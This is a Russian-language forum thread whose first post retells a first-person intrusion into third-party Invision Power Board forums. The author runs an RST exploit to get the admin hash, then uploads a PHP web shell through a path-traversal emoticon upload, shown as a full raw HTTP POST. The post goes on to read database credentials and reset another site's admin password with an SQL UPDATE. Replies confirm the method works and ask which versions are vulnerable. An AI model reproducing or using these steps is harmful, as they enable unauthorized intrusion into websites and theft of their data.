Уязвимость IPB

Статус
В этой теме нельзя размещать новые ответы.
K

kerimchik

Прохожие
Нашел такую статью...
Кто может обьяснить, что это?

Одним жарким весенним днём я, как всегда, сидел в душной комнате и уставившись в монитор думал чем бы заняться. Я давно страдал Интернет-болезнью, когда автоматически входишь в Инет и не знаешь, что с ним делать. Также автоматически я зашёл в багтрэк, и с мыслью “Может RST нас чем-нибудь порадует” зашёл на их сайт. И вправду, RST выпустили новую версию легендарного шелла. Так как делать особо было нечего я решил потестить его на каком-нибудь ушастом сайте. Вбив в гугле “форум inurl:ru” я зашёл в первый попавшийся сайт с доменом второго уровня и форумом IPB (то, что это был Invision Power Board было видно из ссылки).

Запустил древний, но ещё очень даже актуальный сплоит r57ipb.pl от всё той же RST примерно так:

r57ipb.pl hack_this_forum.ru / 1 0

где

hack_this_forum.ru - сайт, на котором я хотел тестить шелл.
/ - папка с форумом
1 - id пользователя, чей пароль мог бы мне понадобиться
0 - версия ветки 1

Уже через несколько секунд сплоит вернул мне хэш админа. Испытывая сочувствие к своему процессору (день-то был довольно жаркий), я его пожалел и пошёл на Для просмотра ссылки Войди или Зарегистрируйся, где сразу же и выяснил, что зря жалел, так как пароль состоял из шести цифр. Я залогинился на форум, зашёл в админку, так… и где здесь “залить шелл”? А заливать шелл надо было через смайлики.

Первая попытка залить файл была безуспешной. Доступ на запись в папку /html/emotions/ был запрещён. Следовательно, надо было аплоудить в другую папку, например в /uploads/. Запустив программу со скромным названием InetCrack я стал составлять запрос. Пользовался я уже известным способом заливки шелла в IPB.

POST hack_this_forum.ru/admin.php?adsess=354a271346466c810bb70db3e129d17b HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: hack_this_forum.ru/admin.php?adsess=354a271346466c810bb70db3e129d17b&act=op&code=emo
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 9.1)
Content-Length: 677
Pragma: no-cache
Cookie: member_id=1; pass_hash=ae75aa292903a0517b4c710b1e4a4955;

-----------------------------7d43942c405bc
Content-Disposition: form-data; name="adsess"

354a271346466c810bb70db3e129d17b
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="code"

emo_upload
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="act"

op
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

20000000000
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="FILE_UPLOAD"; filename="../../uploads/view_uploads.php"
Content-Type: application/octet-stream

<? echo "Add your shell here."; ?>
-----------------------------7d43942c405bc--

Обратившись теперь Для просмотра ссылки Войди или Зарегистрируйся я увидел знакомый r57shell. То, что на сервере php работает в безопасном режиме, я даже и не сомневался. Зато я мог просматривать файлы функциями обхода ограничений imap_list, imap_body. Просмотрев конфиги форума я нашёл MySQL-ный аккуант, и обратился к базе запросом :

SHOW DATABASES

На сервере было порядка двухсот баз, но у моего юзера был доступ только к своей. Я опять обратился к шеллу и решил подняться из своей директории повыше. Здесь, в папке /home/hosts/, и лежали все сайты: от страниц Васи Пупкина, до сайтов правительственных организаций. Я просмотрел многие из них, но не нашёл ничего интересного, кроме рутового пароля к MySQL на одном более менее крупном хосте. Однако в папку с главным сайтом меня не пускали. Зайдя на главную страницу сайта я увидел ссылку на форум. И этот форум был всё тот же IPB, причем версии 1.3. Но эти админы были немного умнее и версия была с заплаткой. "Зачем использовать SQL-инъекцию в форуме если у меня имеется рутовый доступ к MySQL? :)" — подумал я и обратился к главной базе с запросом:

UPDATE ibf_members SET password='202CB962AC59075B964B07152D234B70' WHERRE id='1'

Войдя в админку я по быстрому залил шелл вышеописанным способом. Каково было моё удивление, когда я увидел, что safe_mode в этой папке был отключен. Я уже хотел было вставить свой текст во все найденные командой find файлы index.php, но... что-то меня остановило. Я подумал, что взламывать безобидные сайты, принося вред их администраторам и Web-мастерам, не пойдет на пользу ни мне, ни кому-либо другому — дело это гадкое и бесполезное. Я поменял хэш админа на тот, который был и отправил ему письмо. Хотя админы наградили меня только "спасибом" , я был рад, что сделал что-то полезное вместо того, чтобы напакостить.
 
А что объяснять? Все здесь верно описано! Только не указана версия первого движка форума! Я если честно сам пробовал на локале и на форуме друга (он знал) все получалось! Сложноо вприципе ничего нет! Я пробовал на 2.1.7
 
  • Заблокирован
  • #3
a на 2.3.1 это уязвимость работает?
 
а на 2.2.2. или на 2.3.1 есть уязвимости? или ещё пока не придумали?
 
a на 2.3.1 это уязвимость работает?
Зачем спрашиваешь? Ты же мне как-то полдня со 100% уверенностью лечил, что ipb хрена сломаешь))) Страшно стало? :D

ПС: "Все можно сломать! Было бы желание..." (с) :)
 
Зачем спрашиваешь? Ты же мне как-то полдня со 100% уверенностью лечил, что ipb хрена сломаешь))) Страшно стало? :D

ПС: "Все можно сломать! Было бы желание..." (с) :)

Это точно. Только не только надо иметь желание но и мозги :)
 
Спасибо! Заставил себя проапгрейдить движок =)!
А вообще проверил на уязвимость, действительно все получается как и написано... жесть
 
  • Заблокирован
  • #9
2,2,2 самая стабильная версия, сам на ней сижу
 
Не знаю мой 2,3,1 уже много раз хотели сломать но неполучилось. Даже ДДоСить сервак большого толку недало)))
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху